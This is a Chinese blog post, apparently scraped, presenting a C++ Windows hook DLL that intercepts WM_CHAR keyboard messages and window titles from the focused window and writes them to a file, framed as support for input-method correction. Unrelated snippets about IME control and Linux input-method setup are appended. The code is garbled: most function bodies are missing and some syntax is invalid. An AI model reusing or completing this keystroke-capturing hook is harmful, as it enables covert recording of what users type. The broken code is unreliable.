VC 擷取輸入法輸入資訊鉤子dll實現

2021-06-21 07:39:20 字數 1291 閱讀 9848

我們在實現輸入法的智慧型糾正的時候,需要獲取輸入法輸入的資訊,如何實現呢,鉤子如下

[cpp]  

#include "windows.h"  

#include "imm.h"  

#include "stdio.h"  

//#define hook_api __declspec(dllexport)   

hhook        g_hhook            = null;        //hook控制代碼  

hinstance  g_hhinstance    = null;        //程式控制程式碼  

hwnd         lastfocuswnd  = 0;//上一次控制代碼,必須使全域性的  

hwnd         focuswnd;         //當前視窗控制代碼,必須使全域性的    

char title[256];              //獲得視窗名字   

char *ftemp;                //begin/end 寫到檔案裡面  

char t[2]=;              //捕獲單個字母  

void writefile(char *lpstr)  

void writtitle()  

}  lresult callback messageproc(int ncode,

wparam wparam,lparam lparam)  

}  break;  

case wm_char:  //截獲發向焦點視窗的鍵盤訊息  

if (ch>=8 && ch<=31)           //控制字元  

if (strcmp(str,"n"))  

}  }  break;  

}  }  

lresult lresult = callnexthookex(g_hhook, ncode, wparam, lparam);  

return(lresult);  

}  //hook_api bool installhook()  

bool installhook()  

//hook_api bool unhook()  

bool unhook()  

bool apientry dllmain( handle hmodule,   

dword  ul_reason_for_call,   

lpvoid lpreserved  

)    

return true;  

}  

輸入法鉤子

分為1個dll工程和1個win32空工程。新建乙個dll空工程,字符集使用多位元組字符集。以下是源 shurufa.h ifndef shurufa h define shurufa h include include include include pragma comment lib,imm32...

輸入法控制

unit u ime inte ce implementation uses windows,forms,imm,sysutils,messages varstmpclassname,stmpime string 失去焦點時的控制項名稱和輸入法名稱 msghandle hhook 0 判斷當前類名是...

輸入法設定

scim 1.兩個scim圖示 使用 superuser產生乙個,可在設定裡將他從工作列隱藏 2.無法在eva中使用 sudo apt get install scim qtimm fcitx 1.安裝 設定預設 sudo apt get install fcitx sudo apt get ins...